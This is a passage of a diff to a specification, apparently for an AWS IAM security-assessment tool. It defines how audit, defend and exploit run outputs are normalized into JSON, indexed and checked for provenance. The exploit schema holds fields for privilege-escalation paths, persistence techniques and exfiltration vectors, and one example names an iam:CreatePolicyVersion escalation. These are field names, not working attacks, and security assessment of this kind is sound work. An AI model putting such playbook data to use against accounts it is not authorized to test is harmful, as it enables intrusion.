`source` field for legacy runs), read it directly. The results.json is already in the correct schema — extract the payload fields and skip markdown parsing. +**Step 0:** If `results.json` exists with `"source": "audit"`, read directly — skip markdown parsing. **Step 1: Read findings.md (fallback)** Extract from headings and content: - ``` -Risk summary: regex match "## RISK SUMMARY: (\d+) -[-—] (CRITICAL|HIGH|MEDIUM|LOW|critical|high|medium|low)" - → account_id = group 1 - → risk_score = group 2 (lowercase — normalize to lowercase if uppercase) - -Target: extract from run directory name or findings header -Audit mode: extract from findings header if present ("audit") - +Risk summary: regex "## RISK SUMMARY: (\d+) -[-—] (CRITICAL|HIGH|MEDIUM|LOW)" + → account_id, risk_score (normalize to lowercase) Services analyzed: count unique "### SERVICE:" headings - -Attack paths: regex match all "### ATTACK PATH #(\d+): (.+?) -[-—] (CRITICAL|HIGH|MEDIUM|LOW|critical|high|medium|low)" - (normalize severity to lowercase) -For each path block, extract: - - name, severity from header - - steps: numbered list items under "**Exploit steps:**" (format: `1. \`aws cli command\``) - - mitre_techniques: T-codes from "**MITRE:**" line, pattern T\d{4}(\.\d{3})? - - detection_opportunities: items under "**Detection opportunities:**" - - remediation: items under "**Remediation:**" - - affected_resources: ARNs referenced in the narrative - - exploitability: from "**Exploitability:**" line +Attack paths: regex "### ATTACK PATH #(\d+): (.+?) -[-—] (CRITICAL|HIGH|MEDIUM|LOW)" + Per path: name, severity, steps, mitre_techniques, detection_opportunities, remediation, affected_resources, exploitability ``` +**Guard:** If no `account_id` and no `attack_paths` extracted → `[PIPELINE_ERROR] audit/extraction` — return partial status. + **Step 2: Build graph from findings** -Construct `graph.nodes[]` and `graph.edges[]` from the extracted attack path data: -- Create nodes for each unique principal, role, escalation vector, and data resource referenced -- Create edges for trust relationships, privilege escalation paths, and data access chains -- Use the node ID conventions: user:, role:, esc:, data:, external: - -The graph is built from findings.md data. The pipeline does NOT need to handle HTML — visualization is handled by the SCOPE dashboard (`dashboard/-dashboard.html`, generated via `cd dashboard && npm run dashboard`), which reads `results.json` and the normalized JSON files in `./data/`. - -### Audit Payload Schema - -```json -{ - "target": "string — target ARN, service name, '--all', or '@targets.csv'", - "audit_mode": "audit", - "summary": { - "total_users": "int", - "total_roles": "int", - "total_policies": "int", - "total_trust_relationships": "int", - "critical_priv_esc_risks": "int", - "wildcard_trust_policies": "int", - "cross_account_trusts": "int", - "users_without_mfa": "int", - "risk_score": "critical | high | medium | low", - "services_analyzed": "int", - "top_findings": ["string — one-line summary of each critical/high finding"], - "paths_by_category": { - "privilege_escalation": "int", - "trust_misconfiguration": "int", - "data_exposure": "int", - "credential_risk": "int", - "excessive_permission": "int", - "network_exposure": "int", - "persistence": "int", - "post_exploitation": "int", - "lateral_movement": "int" - } - }, - "graph": { - "nodes": [ - {"id": "string", "label": "string", "type": "user | role | group | escalation | data | external"} - ], - "edges": [ - {"source": "string", "target": "string", "trust_type": "same-account | cross-account | service | wildcard | federated", "edge_type": "priv_esc | trust | data_access | network | service | public_access | cross_account | membership", "severity": "critical | high | medium | low", "label": "string"} - ] - }, - "attack_paths": [ - { - "name": "string", - "severity": "critical | high | medium | low", - "category": "privilege_escalation | trust_misconfiguration | data_exposure | credential_risk | excessive_permission | network_exposure | persistence | post_exploitation | lateral_movement", - "description": "string", - "exploitability": "string — e.g., 'high — requires only iam:CreatePolicyVersion'", - "steps": ["string"], - "mitre_techniques": ["string — e.g., T1078.004"], - "detection_opportunities": ["string — CloudTrail eventName + SPL"], - "remediation": ["string — specific fix"], - "affected_resources": ["string — node IDs or ARNs"] - } - ], - "principals": [ - { - "id": "string — e.g., user:alice or role:AdminRole", - "type": "user | role", - "arn": "string — full IAM ARN", - "mfa_enabled": "bool (users only)", - "console_access": "bool (users only)", - "access_keys": "int (users only)", - "groups": ["string — group names (users only)"], - "trust_principal": "string — trust policy principal (roles only)", - "is_wildcard_trust": "bool (roles only)", - "attached_policies": ["string — policy names"], - "has_boundary": "bool", - "risk_flags": ["string — e.g., no_mfa, wildcard_trust, admin_equivalent"] - } - ], - "trust_relationships": [ - { - "role_id": "string — e.g., role:AdminRole", - "role_arn": "string — full IAM ARN", - "principal": "string — trusted principal ARN or *", - "trust_type": "same-account | cross-account | service | wildcard | federated", - "is_wildcard": "bool", - "has_external_id": "bool", - "has_mfa_condition": "bool", - "risk": "critical | high | medium | low", - "is_internal": "bool | null — true if trusted account is in owned-accounts set, false if external, null for service/wildcard trusts", - "account_name": "string | null — name from accounts.json for internal accounts, null for external/service/wildcard" - } - ] -} -``` +Construct `graph.nodes[]` and `graph.edges[]` from attack path data. Node ID conventions: user:, role:, esc:, data:, external:. Create edges for trust, privilege escalation, and data access chains. + +**Guard:** If `graph.nodes` or `graph.edges` is null/not array → `[PIPELINE_ERROR] audit/graph` — return partial status. + +Build the payload following the envelope format. Required fields: `target`, `summary`, `graph`, `attack_paths`. See results.json in the run directory for the source data structure. ## Defend Normalizer -**Input files:** -- `$RUN_DIR/results.json` — structured defend data (preferred if available) -- `$RUN_DIR/executive-summary.md` — leadership risk scorecard -- `$RUN_DIR/technical-remediation.md` — full engineer-facing remediation plan -- `$RUN_DIR/policies/*.json` — SCP and RCP JSON files - -If `$RUN_DIR/results.json` exists and contains `"source": "defend"`, read it directly — the results.json is already in the correct schema. Skip markdown parsing and extract payload fields directly. +**Input:** `$RUN_DIR/results.json` (preferred), `$RUN_DIR/executive-summary.md`, `$RUN_DIR/technical-remediation.md`, `$RUN_DIR/policies/*.json`. -### account_id Resolution for Defend +If `results.json` exists with `"source": "defend"`, read directly — skip markdown parsing. -The defend agent does not make AWS API calls, so `account_id` must be inherited from the audit run(s) it consumed. Resolve in priority order: +### account_id Resolution -1. **From defend results.json** — if the defend agent set `account_id`, use it -2. **From linked audit data** — check `audit_runs_analyzed` in the defend payload. For each run ID, look for `./data/audit/.json` and extract `account_id` from the envelope. Use the first non-`"unknown"` value found. -3. **From parent audit run directory** — defend runs are nested under their parent audit run (`audit//defend//`). Derive the parent audit directory as the grandparent of `$RUN_DIR` (i.e., `dirname $(dirname $RUN_DIR)`) and read its `results.json` for `account_id` -4. **Fallback** — set to `"unknown"` and log a warning +Resolve in priority order: +1. From defend results.json +2. From linked audit data — check `audit_runs_analyzed`, look up `./data/audit/.json` +3. From parent audit run directory — `dirname $(dirname $RUN_DIR)` → read its results.json +4. Fallback: `"unknown"` ### Extraction Steps -**Step 1: Read executive-summary.md** - -Extract: -- Audit runs analyzed: count from the intake summary section -- Attack path totals: total, systemic vs one-off, by severity -- Top quick wins: list of prioritized actions - -**Step 2: Read technical-remediation.md** - -Extract: -- SCP recommendations: name, description, source attack paths -- RCP recommendations: name, description, source attack paths -- Security control recommendations: GuardDuty, Config, Access Analyzer items -- SPL detections: name, SPL query, MITRE technique, severity -- Prioritization matrix: rank, action, risk, effort, category - -**Step 3: Read policy files** - -For each `$RUN_DIR/policies/*.json`: -- Read the JSON content -- Classify as SCP or RCP from filename prefix -- Include the parsed policy JSON in the payload - -### Defend Payload Schema - -```json -{ - "summary": { - "scps_generated": "int", - "rcps_generated": "int", - "detections_generated": "int", - "controls_recommended": "int", - "quick_wins": "int — count of items with effort=low", - "risk_score": "critical | high | medium | low", - "zero_paths": "bool — true when no attack paths found" - }, - "audit_runs_analyzed": ["string — run IDs that were consumed"], - "attack_paths_aggregated": { - "total": "int", - "systemic": "int — appeared in 2+ runs", - "oneoff": "int — single run only", - "by_severity": { - "critical": "int", - "high": "int", - "medium": "int", - "low": "int" - } - }, - "executive_summary": { - "risk_posture": "string", - "category_breakdown": [ - { "category": "string", "count": "int", "severity": "critical | high | medium | low" } - ], - "quick_wins": [ - { "rank": "int", "action": "string", "impact": "string" } - ], - "remediation_timeline": { - "this_week": ["string"], - "this_month": ["string"], - "this_quarter": ["string"] - } - }, - "technical_recommendations": { - "attack_path_bundles": [ - { - "attack_path": "string", - "severity": "critical | high | medium | low", - "source_run_ids": ["string"], - "classification": "systemic | one-off", - "scp_names": ["string"], - "rcp_names": ["string"], - "detection_names": ["string"], - "control_names": ["string"] - } - ] - }, - "scps": [ - { - "name": "string — short name", - "file": "string — relative path to policy JSON", - "policy_json": {}, - "source_attack_paths": ["string — which attack paths this policy blocks"], - "source_run_ids": ["string — run IDs of audit runs that surfaced the source attack paths"], - "impact_analysis": { - "prevents": ["string — IAM actions this SCP blocks, e.g., iam:CreatePolicyVersion"], - "blast_radius": "low | medium | high", - "affected_services": ["string — AWS service names affected"], - "break_glass": "string — break-glass mechanism, e.g., aws:PrincipalTag/ChangeManagement | none" - } - } - ], - "rcps": [ - { - "name": "string", - "file": "string", - "policy_json": {}, - "source_attack_paths": ["string"], - "source_run_ids": ["string — run IDs of audit runs that surfaced the source attack paths"], - "impact_analysis": { - "prevents": ["string — actions this RCP blocks"], - "blast_radius": "low | medium | high", - "affected_services": ["string"], - "break_glass": "string — break-glass mechanism | none" - } - } - ], - "detections": [ - { - "name": "string", - "spl": "string — full SPL query", - "category": "string — attack path category for grouping", - "mitre_technique": "string — e.g., T1078.004", - "severity": "critical | high | medium | low", - "source_attack_paths": ["string"], - "source_run_ids": ["string — run IDs of audit runs that surfaced the source attack paths"] - } - ], - "security_controls": [ - { - "service": "string — GuardDuty | Config | Access Analyzer | CloudWatch", - "recommendation": "string", - "priority": "string — critical | high | medium | low", - "effort": "string — low | medium | high", - "source_attack_paths": ["string"] - } - ], - "prioritization": [ - { - "rank": "int", - "action": "string", - "risk": "critical | high | medium | low", - "effort": "low | medium | high", - "category": "scp | rcp | detection | control | config" - } - ] -} -``` - +**Step 1: Read executive-summary.md** — extract audit runs analyzed, attack path totals, top quick wins. - -## Exploit Normalizer +**Guard:** If none of `risk_posture`, `quick_wins`, or `category_breakdown` extracted → `[PIPELINE_ERROR] defend/summary` — return partial status. -**Input files:** -- `$RUN_DIR/results.json` — structured exploit data (preferred if available) -- `$RUN_DIR/playbook.md` — full red team playbook (fallback) +**Step 2: Read technical-remediation.md** — extract SCP/RCP recommendations, security controls, SPL detections, prioritization matrix. -### Extraction Steps +**Guard:** If none of SCPs, RCPs, detections, or controls extracted → `[PIPELINE_ERROR] defend/remediation` — return partial status. -**Step 0: Check for results.json** +**Step 3: Read policy files** — for each `$RUN_DIR/policies/*.json`, classify as SCP/RCP from filename prefix. -If `$RUN_DIR/results.json` exists and contains `"source": "exploit"`, read it directly. The results.json is already in the correct schema — extract the payload fields and skip markdown parsing. +**Guard:** If any policy file fails JSON parsing → `[PIPELINE_ERROR] defend/policy` — return partial status. -**Step 1: Read playbook.md (fallback)** - -Extract from headings and content: - -``` -Target ARN: from the playbook header or introduction -Paths found: count of "## Path" or "## Attack Path" headings -highest privilege: from the summary section — e.g., "ADMIN", "POWER_USER" -Novel paths found: count of paths with source "novel" -PassRole chains: count from PassRole attack surface section - -For each attack path: - - name: from path heading - - noise_score: count of steps with visibility "MGT" - - noise_profile: counts of each visibility class {"MGT": N, "DATA": N, "NONE": N} - - severity: from path severity label - - category: one of privilege_escalation, persistence, post_exploitation, lateral_movement - - source: "catalogue" or "novel" - - confidence_tier: null for catalogue, "GUARANTEED"|"CONDITIONAL"|"SPECULATIVE" for novel - - reasoning: null for catalogue, reasoning chain string for novel - - description: what the path achieves - - steps: array of step objects, each containing: - - description: what the step does - - action: primary AWS API action in service:Action format - - visibility: CloudTrail visibility class — "MGT", "DATA", or "NONE" - - mitre_techniques: T-codes referenced - - affected_resources: principal/resource IDs involved - - detection_opportunities: always empty array (detection is scope-defend's domain) - - remediation: SCP/IAM fixes - - lateral_movement_chain: array of {from, to, mechanism} hops - - persistence_techniques: array of {technique, available, permission} - - exfiltration_vectors: array of {vector, available, permission, scope_estimate} -``` +Build the payload following the envelope format. Required fields: `summary`, `audit_runs_analyzed`, `scps`, `detections`. See results.json in the run directory for the source data structure. + -**Step 2: Extract PassRole graph** - -If present, extract the PassRole attack surface section: -- caller ARN -- nodes: array of {id, type, arn/service} -- edges: array of {from, to, type, action, role, capabilities} -If PassRole was skipped, set passrole_graph to null. - -**Step 3: Extract persistence analysis** - -If present, extract the persistence analysis section: -- For each of the 11 techniques: technique name, availability (available/unavailable), required permission, permission status (CONFIRMED/LIKELY/NOT AVAILABLE) -- CLI commands for available techniques -- Cleanup indicators - -**Step 4: Extract exfiltration analysis** - -If present, extract the exfiltration analysis section: -- For each of the 10 vectors: vector name, availability, required permission, permission status -- Enumeration commands for available vectors -- Data reachable description and scope estimates - -### Exploit Payload Schema - -```json -{ - "target_arn": "string — principal ARN analyzed", - "summary": { - "paths_found": "int", - "novel_paths_found": "int", - "passrole_chains": "int", - "persistence_techniques": "int", - "exfiltration_vectors": "int", - "risk_score": "critical | high | medium | low", - "highest_priv": "string — e.g., ADMIN, POWER_USER, READ_ONLY" - }, - "graph": { - "nodes": [{"id": "string", "label": "string", "type": "string"}], - "edges": [{"source": "string", "target": "string", "edge_type": "string", "severity": "string"}] - }, - "attack_paths": [ - { - "name": "string", - "noise_score": "int — count of steps with visibility MGT", - "noise_profile": {"MGT": "int", "DATA": "int", "NONE": "int"}, - "severity": "string", - "category": "privilege_escalation | persistence | post_exploitation | lateral_movement", - "source": "catalogue | novel", - "confidence_tier": "null | GUARANTEED | CONDITIONAL | SPECULATIVE", - "reasoning": "string | null — reasoning chain for novel paths", - "description": "string", - "steps": [ - { - "description": "string — what the step does", - "action": "string — AWS API action in service:Action format", - "visibility": "MGT | DATA | NONE" - } - ], - "mitre_techniques": ["string"], - "affected_resources": ["string"], - "detection_opportunities": [], - "remediation": ["string"], - "lateral_movement_chain": [ - {"from": "string", "to": "string", "mechanism": "string"} - ], - "persistence_techniques": [ - {"technique": "string", "available": "bool", "permission": "string"} - ], - "exfiltration_vectors": [ - {"vector": "string", "available": "bool", "permission": "string", "scope_estimate": "string | null"} - ] - } - ], - "passrole_graph": { - "caller": "string — caller ARN", - "nodes": [{"id": "string", "type": "string", "arn": "string", "service": "string"}], - "edges": [{"from": "string", "to": "string", "type": "string", "action": "string", "role": "string", "capabilities": "string"}] - } -} -``` - + +## Exploit Normalizer - -## Index Management — ./data/index.json +**Input:** `$RUN_DIR/results.json` (preferred) or `$RUN_DIR/playbook.md` (fallback). -After every normalization attempt (including partial and failed runs), update the unified run index using the **upsert+cull+atomic-write** pattern. +### Extraction Steps -> **Note:** This pattern is not safe for concurrent pipeline invocations from separate terminals. SCOPE runs one audit at a time (operator-driven), so no lock file is needed. +**Step 0:** If `results.json` exists with `"source": "exploit"`, read directly — skip markdown parsing. -### New Entry Format +**Step 1: Read playbook.md (fallback)** -Build a new index entry from the normalization result: +Extract: target ARN, path count, highest privilege, novel paths count, PassRole chains count. Per attack path: name, noise_score, noise_profile, severity, category, source (catalogue|novel), confidence_tier, reasoning, description, steps (with action + visibility), mitre_techniques, affected_resources, remediation, lateral_movement_chain, persistence_techniques, exfiltration_vectors. -```json -{ - "run_id": "", - "phase": "", - "timestamp": "", - "status": "", - "account_id": "", - "data_file": "./data//.json", - "run_dir": "", - "summary": {} -} -``` +**Guard:** If `target_arn` is null/empty → `[PIPELINE_ERROR] exploit/extraction` — return partial status. -The `summary` object is phase-specific (populate from the normalized data — empty `{}` is valid for failed/partial runs): +**Step 2: Extract PassRole graph** — caller ARN, nodes, edges. Set to null if PassRole section absent. -- **audit**: `{"risk_score": "...", "attack_paths": N, "target": "..."}` -- **defend**: `{"audit_runs_analyzed": N, "scps": N, "rcps": N, "detections": N}` -- **exploit**: `{"target_arn": "...", "paths_found": N, "highest_priv": "...", "persistence_techniques": N, "exfiltration_vectors": N}` +**Guard:** If PassRole section exists but extraction failed → `[PIPELINE_ERROR] exploit/passrole` — return partial status. -**Strict Template Enforcement:** Build every index entry using `jq -n` with exactly the 8 fields listed above (run_id, phase, timestamp, status, account_id, data_file, run_dir, summary). Do NOT add any fields beyond these 8. Do NOT omit any field — use empty string `""` for unknown string fields and `{}` for unknown summary. This ensures every entry in data/index.json has exactly the same schema regardless of phase or run outcome. The upsert dedup (step 2) naturally removes any pre-existing entries with variant schemas for the same run_id. +**Step 3: Extract persistence analysis** — 11 techniques with availability, permissions, CLI commands, cleanup indicators. -### Upsert+Cull+Atomic-Write (single-pass) +**Step 4: Extract exfiltration analysis** — 10 vectors with availability, permissions, scope estimates. -1. **Read or initialize:** If `./data/index.json` exists, read it. Otherwise, initialize with `{"version": "1.1.0", "updated": "", "runs": []}`. +**Guard:** If persistence or exfiltration extraction produced null → `[PIPELINE_ERROR] exploit/persistence` or `exploit/exfiltration` — return partial status. -2. **Single-pass filter:** Iterate the existing `runs` array and remove: - - Any entry whose `data_file` does not exist on disk (orphan cull — resolve relative paths to absolute using `$(pwd)`) - - Any entry with the same `run_id` as the current run (dedup — enables upsert) +Build the payload following the envelope format. Required fields: `target_arn`, `summary`, `attack_paths`, `graph`. See results.json in the run directory for the source data structure. + - Track the count of orphan entries removed for logging. + +## Index Management Pattern -3. **Prepend** the new entry to the filtered array. +Used for both `./data/index.json` and `./agent-logs/index.json`: -4. **Set version** to `"1.1.0"` and update the `"updated"` timestamp. +1. **Read or initialize:** If index exists, read it. Otherwise: `{"version": "1.1.0", "updated": "", "runs": []}`. +2. **Single-pass filter:** Remove orphans (referenced file doesn't exist on disk), remove duplicates (same `run_id` as current run). Track orphan count. +3. **Prepend** new entry to filtered array. +4. **Set version** to `"1.1.0"`, update `"updated"` timestamp. +5. **Atomic write:** Write to `.tmp`, then `mv` (same filesystem = atomic rename). +6. **Log orphan cull** count if any removed — append to `$RUN_DIR/agent-log.jsonl`. -5. **Atomic write:** Write to `./data/index.json.tmp` first, then rename: - ```bash - # Write filtered+updated index to temp file, then atomic rename - # (temp file in same directory guarantees same filesystem — mv is always atomic) - python3 -c "import json; ..." > ./data/index.json.tmp && mv ./data/index.json.tmp ./data/index.json - ``` +For `./data/index.json`: entry references `data_file` path. 8 fields: run_id, phase, timestamp, status, account_id, data_file, run_dir, summary. -5.5. **Post-write validation (defend phase only):** After writing the index entry, compare the detection count in the index summary against the source results.json. This is NON-BLOCKING — log a warning if they diverge, do not abort. +Phase-specific summary objects: +- **audit**: `{"risk_score": "...", "attack_paths": N, "target": "..."}` +- **defend**: `{"audit_runs_analyzed": N, "scps": N, "rcps": N, "detections": N}` +- **exploit**: `{"target_arn": "...", "paths_found": N, "highest_priv": "...", "persistence_techniques": N, "exfiltration_vectors": N}` - For defend-phase runs only: - ```bash - # Extract detection count from source results.json - RESULTS_DET=$(jq '.summary.detections_generated // (.detections | length) // 0' "$RUN_DIR/results.json" 2>/dev/null || echo "0") - # Extract detection count from the index entry just written - INDEX_DET=$(jq --arg rid "$RUN_ID" '.runs[] | select(.run_id == $rid) | .summary.detections // 0' ./data/index.json 2>/dev/null || echo "0") - # Compare - if [ "$RESULTS_DET" != "$INDEX_DET" ]; then - echo "[WARN] pipeline: defend detection count mismatch -- results.json: $RESULTS_DET, index.json: $INDEX_DET" - fi - ``` +**Defend post-write validation (non-blocking):** After writing, compare detection count in index summary against source results.json. Log warning on mismatch. - Skip this check for audit and exploit phases (no detection count field in their summaries). +For `./agent-logs/index.json`: entry references `evidence_file` path. 10 fields: run_id, phase, timestamp, status, account_id, evidence_file, data_file, source_run_dir, depends_on, summary. -6. **Log orphan cull activity** (only when at least one orphan was removed): - ```json - {"type": "pipeline_maintenance", "action": "orphan_cull", "removed": N, "timestamp": ""} - ``` - Append this line to `$RUN_DIR/agent-log.jsonl`. +Evidence summary: `{total_api_calls, successful_api_calls, access_denied_calls, total_claims, guaranteed_claims, conditional_claims, overall_coverage_pct, services_queried}`. -The orphan cull resolves each `data_file` relative path to an absolute path at check time. Example check: `test -f "$(pwd)/data/$PHASE/$RUN_ID.json"`. The executing model may use any equivalent bash or Python file-existence check. +**Strict template enforcement** for both indexes: build entries with exactly the listed fields. Do NOT add extra fields or omit any — use `""` for unknown strings, `{}` for unknown summary, `[]` for empty arrays. -**Version note:** The version field is informational only. No version gate — old 1.0.0 indexes are naturally upgraded: next pipeline run reads the old index, applies upsert+cull, and writes back with 1.1.0. - +**Version note:** Informational only. Old 1.0.0 indexes are naturally upgraded on next pipeline run. + ## Verification — JSON Schema Validation After writing each normalized JSON file, validate: +1. Envelope fields present: version, phase, run_id, timestamp, status, run_dir, payload +2. Phase matches the PHASE argument +3. Payload non-empty if status is `complete` +4. Written file is parseable JSON +5. Index entry's path matches actual file -1. **Envelope fields present:** version, phase, run_id, timestamp, status, run_dir, payload -2. **Phase matches:** the `phase` field matches the PHASE argument -3. **Payload is non-empty:** if status is `complete`, the payload object must have at least one key -4. **JSON is valid:** the written file is parseable JSON (read it back and verify) -5. **Index consistency:** the index entry's `data_file` path matches the actual written file - -If validation fails, set status to `partial` or `failed` accordingly, rewrite the normalized JSON file with the updated status, update the index entry to match, and log a warning. Do not block the calling agent. - -```bash -# Re-patch status in the already-written file to keep disk and index in sync -jq --arg status "$NEW_STATUS" '.status = $status' "$DATA_FILE" > "$DATA_FILE.tmp" && mv "$DATA_FILE.tmp" "$DATA_FILE" 2>/dev/null || true -``` - -This is the only verification Phase 1 performs. It does NOT run the full scope-verify protocol (no SPL lints, no attack path satisfiability checks, no remediation safety rules). Those are the calling agent's responsibility. +If validation fails, set status to `partial`/`failed`, rewrite file, update index. Do not block the calling agent. This does NOT run scope-verify (no SPL lints, no attack path checks). - -## Phase 1 Error Handling - -Data normalization is a best-effort middleware layer. Failures must never block the calling agent. - -### File Not Found - -If an expected artifact file does not exist in RUN_DIR: -- Log: `"Warning: not found in — skipping field extraction"` -- Set status to `partial` -- Continue with whatever data is available + +## Error Handling -### Parse Failure +All errors are non-blocking — log and continue: +- **File not found** → status: `partial`, log warning, continue with available data +- **Parse failure** → status: `partial`, include whatever partial data was extracted +- **Write failure** → status: `failed`, return without updating index +- **Index corruption** → back up to `.bak`, reinitialize from scratch with current entry only +- **agent-log.jsonl not found** → write partial-status envelope with empty arrays, still update index +- **JSONL parse failure** → skip invalid lines, set `partial` if >10% fail -If a regex extraction or JSON parse fails: -- Log: `"Warning: failed to parse — "` -- Set status to `partial` -- Include whatever partial data was extracted before the failure +Never block the calling agent. Raw artifacts are the source of truth. + -### Write Failure - -If unable to write to `./data/`: -- Log: `"Error: cannot write to ./data//.json — "` -- Set status to `failed` -- Return without updating the index - -### Index Corruption - -If `./data/index.json` exists but is not valid JSON: -- Log: `"Warning: index.json is corrupted — reinitializing"` -- Back up the corrupted file to `./data/index.json.bak` -- Reinitialize with a fresh index containing only the current entry - -### General Rule - -On any unhandled error: log the full error, set status to `failed`, and return. The calling agent's raw artifacts are the source of truth — data normalization is a convenience layer. - - - -## Schema Reference — Phase 1 Complete Type Definitions - -### Common Envelope - -All normalized files share this top-level structure: - -| Field | Type | Required | Description | -|-------|------|----------|-------------| -| version | string | yes | Schema version — always "1.0.0" | -| phase | string | yes | One of: audit, defend, exploit | -| run_id | string | yes | Unique run identifier from the run directory name | -| timestamp | string | yes | ISO8601 timestamp of normalization | -| status | string | yes | One of: complete, partial, failed | -| run_dir | string | yes | Path to the original run directory | -| account_id | string | yes | AWS account ID or "unknown" | -| region | string | yes | AWS region or "unknown" | -| payload | object | yes | Phase-specific data — see individual normalizer schemas | - -### Index Entry - -Each entry in `./data/index.json` `runs` array: - -| Field | Type | Required | Description | -|-------|------|----------|-------------| -| run_id | string | yes | Matches envelope run_id | -| phase | string | yes | Matches envelope phase | -| timestamp | string | yes | ISO8601 of normalization | -| status | string | yes | Matches envelope status | -| account_id | string | yes | AWS account ID | -| data_file | string | yes | Relative path to the normalized JSON file | -| run_dir | string | yes | Path to the original run directory | -| summary | object | yes | Phase-specific summary for quick lookups | - -### Directory Layout - -``` -./data/ - index.json # Unified run registry - audit/ - audit-20260301-143022-all.json # One file per audit run - audit-20260301-150510-user-alice.json - defend/ - defend-20260301-160000.json # One file per defend run - exploit/ - exploit-20260301-170000-user-alice.json # One file per exploit run -``` - ## Phase 2 — Evidence Indexing -Read `agent-log.jsonl`, validate provenance chains, and produce evidence envelopes in `./agent-logs/`. No operator gates. Runs after Phase 1. - -**Input:** PHASE name + RUN_DIR. **Output:** `./agent-logs//.json` + updated `./agent-logs/index.json`. - -**Steps:** (1) Read `$RUN_DIR/agent-log.jsonl`; (2) parse and classify by record type; (3) validate provenance chains; (4) compute summary stats; (5) wrap in envelope schema; (6) write to `./agent-logs//.json`; (7) update index. +Read `agent-log.jsonl`, validate provenance chains, produce evidence envelopes in `./agent-logs/`. Runs after Phase 1. -**On failure:** Log warning and return. If `agent-log.jsonl` is missing, write a partial-status envelope. `status: failed` = pipeline crashed. `status: partial` = pipeline ran, source data incomplete. - - -## Evidence Record Types - -The source agent writes `$RUN_DIR/agent-log.jsonl` — one JSON line per evidence event. Each line is a tagged union with a `type` field. - -### Record Types - -#### 1. `api_call` — AWS API Call Record - -Logged immediately after every AWS CLI/API call returns. - -```json -{ - "type": "api_call", - "id": "ev-001", - "timestamp": "ISO8601", - "service": "iam", - "action": "ListUsers", - "parameters": {"MaxItems": 100}, - "response_status": "success | access_denied | error", - "response_summary": "Returned 12 users", - "duration_ms": 340 -} -``` - -| Field | Type | Required | Description | -|-------|------|----------|-------------| -| type | string | yes | Always `"api_call"` | -| id | string | yes | Sequential evidence ID: `ev-NNN` | -| timestamp | string | yes | ISO8601 when the call completed | -| service | string | yes | AWS service name (lowercase) | -| action | string | yes | API action name (PascalCase) | -| parameters | object | yes | Request parameters (redact secrets) | -| response_status | string | yes | One of: `success`, `access_denied`, `error` | -| response_summary | string | yes | One-line summary of what was returned | -| duration_ms | number | no | Round-trip time in milliseconds | - -#### 2. `policy_eval` — IAM Policy Evaluation Record - -Logged when evaluating effective permissions for a principal. - -```json -{ - "type": "policy_eval", - "id": "ev-002", - "timestamp": "ISO8601", - "principal_arn": "arn:aws:iam::123456789012:user/alice", - "action_tested": "iam:CreatePolicyVersion", - "evaluation_chain": { - "identity_policy": "allow", - "resource_policy": "no_policy", - "permissions_boundary": "allow", - "scp": "allow", - "rcp": "no_policy", - "session_policy": "no_policy", - "effective": "allow" - }, - "source_evidence_ids": ["ev-001"] -} -``` - -| Field | Type | Required | Description | -|-------|------|----------|-------------| -| type | string | yes | Always `"policy_eval"` | -| id | string | yes | Sequential evidence ID: `ev-NNN` | -| timestamp | string | yes | ISO8601 | -| principal_arn | string | yes | ARN of the principal being evaluated | -| action_tested | string | yes | IAM action being tested | -| evaluation_chain | object | yes | 7-step evaluation: identity_policy, resource_policy, permissions_boundary, scp, rcp, session_policy, effective | -| source_evidence_ids | string[] | yes | IDs of api_call records that provided the policy data | - -Each step in `evaluation_chain` is one of: `allow`, `deny`, `implicit_deny`, `no_policy`, `not_evaluated`. - -#### 3. `claim` — Assertion Record - -Logged when the agent asserts a finding, attack path step, or conclusion. - -```json -{ - "type": "claim", - "id": "claim-ap-001", - "timestamp": "ISO8601", - "statement": "User alice can escalate to admin via iam:CreatePolicyVersion", - "classification": "guaranteed", - "confidence_reasoning": "Direct policy attachment confirmed via ListAttachedUserPolicies; no boundary or SCP restrictions observed", - "gating_conditions": [], - "source_evidence_ids": ["ev-001", "ev-002"] -} -``` - -| Field | Type | Required | Description | -|-------|------|----------|-------------| -| type | string | yes | Always `"claim"` | -| id | string | yes | Claim ID: `claim-{type}-{seq}` (e.g., `claim-ap-001` for attack path, `claim-perm-001` for permission) | -| timestamp | string | yes | ISO8601 | -| statement | string | yes | Human-readable assertion | -| classification | string | yes | One of: `guaranteed`, `conditional`, `speculative` | -| confidence_reasoning | string | yes | Why this classification — must be non-empty | -| gating_conditions | string[] | yes | Conditions that must hold for this claim. Empty for guaranteed claims. Must have ≥1 entry for conditional claims. | -| source_evidence_ids | string[] | yes | IDs of evidence records supporting this claim. Must have ≥1 entry. | - -#### 4. `coverage_check` — Enumeration Coverage Record - -Logged at the end of each enumeration module to document what was and was not checked. - -```json -{ - "type": "coverage_check", - "id": "ev-048", - "timestamp": "ISO8601", - "scope_area": "iam_users", - "checked": ["ListUsers", "ListAttachedUserPolicies", "ListUserPolicies", "ListMFADevices"], - "not_checked": ["GetLoginProfile"], - "not_checked_reason": "AccessDenied on iam:GetLoginProfile for 3 users", - "coverage_pct": 80 -} -``` - -| Field | Type | Required | Description | -|-------|------|----------|-------------| -| type | string | yes | Always `"coverage_check"` | -| id | string | yes | Sequential evidence ID: `ev-NNN` | -| timestamp | string | yes | ISO8601 | -| scope_area | string | yes | What was being enumerated (e.g., `iam_users`, `s3_buckets`, `kms_keys`) | -| checked | string[] | yes | API actions that were successfully called | -| not_checked | string[] | yes | API actions that were skipped or failed | -| not_checked_reason | string | yes | Why items in not_checked were skipped | -| coverage_pct | number | yes | Percentage of planned checks that succeeded (0-100) | - - - - -## Evidence Envelope Schema - -The output file `./agent-logs//.json` contains the validated, structured evidence envelope. - -```json -{ - "version": "1.0.0", - "phase": "audit", - "run_id": "audit-20260301-143022-all", - "timestamp": "ISO8601 — when evidence indexing completed", - "source_run_dir": "./audit/audit-20260301-143022-all/", - "data_file": "./data/audit/audit-20260301-143022-all.json", - "status": "complete | partial | failed", - "depends_on": [], - "provenance": { - "total_api_calls": 47, - "successful_api_calls": 44, - "access_denied_calls": 3, - "errored_calls": 0, - "services_queried": ["iam", "sts", "s3"], - "enumeration_start": "ISO8601 — earliest api_call timestamp", - "enumeration_end": "ISO8601 — latest api_call timestamp" - }, - "claims": [ - { - "id": "claim-ap-001", - "statement": "string", - "classification": "guaranteed | conditional | speculative", - "confidence_reasoning": "string", - "gating_conditions": [], - "source_evidence_ids": ["ev-001", "ev-002"] - } - ], - "coverage": { - "overall_pct": 85, - "by_area": [ - { - "scope_area": "iam_users", - "checked": ["ListUsers", "ListAttachedUserPolicies"], - "not_checked": ["GetLoginProfile"], - "not_checked_reason": "AccessDenied", - "coverage_pct": 80 - } - ] - }, - "api_log": [ - { - 